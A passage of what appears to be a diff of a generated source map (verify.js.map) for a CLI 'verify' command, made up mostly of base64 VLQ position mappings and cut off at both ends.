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"}
1
+ {"version":3,"file":"verify.js","sourceRoot":"","sources":["../../src/commands/verify.ts"],"names":[],"mappings":"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